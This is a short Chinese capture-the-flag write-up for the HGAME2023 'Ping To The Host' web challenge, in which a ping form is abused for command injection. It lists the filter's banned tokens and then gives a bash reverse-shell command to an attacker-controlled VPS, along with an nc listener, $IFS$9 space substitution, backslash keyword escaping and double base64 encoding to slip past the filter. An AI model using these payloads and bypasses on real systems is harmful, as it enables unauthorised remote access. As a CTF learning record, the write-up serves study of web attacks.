[HGAME2023]Ping To The Host.md

尝试输入正常ip

127.0.0.1
Success

输入奇怪的ip

abclol
Failed

经过测试WAF把这些东西ban掉了

;
flag
cat
tac
<space>
+
echo
sh
<
>

似乎只有SuccessFailed的回显,由命令的exit_code决定,一开始想通过类似SQL布尔盲注的形式跑脚本,然后发现自己不会写bash字符串截取和比较qaq

于是走了反弹shell

vps上监听2333端口

nc -lvvp 2333

总的来说要在靶机上执行这个

bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1"

空格可以通过$IFS$9绕过,对单词的过滤也可以通过反斜杠绕过

<>的过滤通过base64编码绕过

echo 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1"' | base64

编码结果里面出现了加号,依然绕不过,因而尝试二次编码

echo 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1"' | base64 | base64

这下没有了,但是非常脸黑地编码结果中刚好有被过滤的单词,懒得一个一个找直接一锅端了

a&ec\ho$IFS$9\W\W\1\G\e\m...\Q\z\h\5\T\X\p\N\e\k\l\E\Q\S\t\K\a\k\V\p\Q\2\c\9\P\Q\o\=|base64$IFS$9-d|base64$IFS$9-d|bas\h

#Web #RCE #反弹shell #绕过 #shell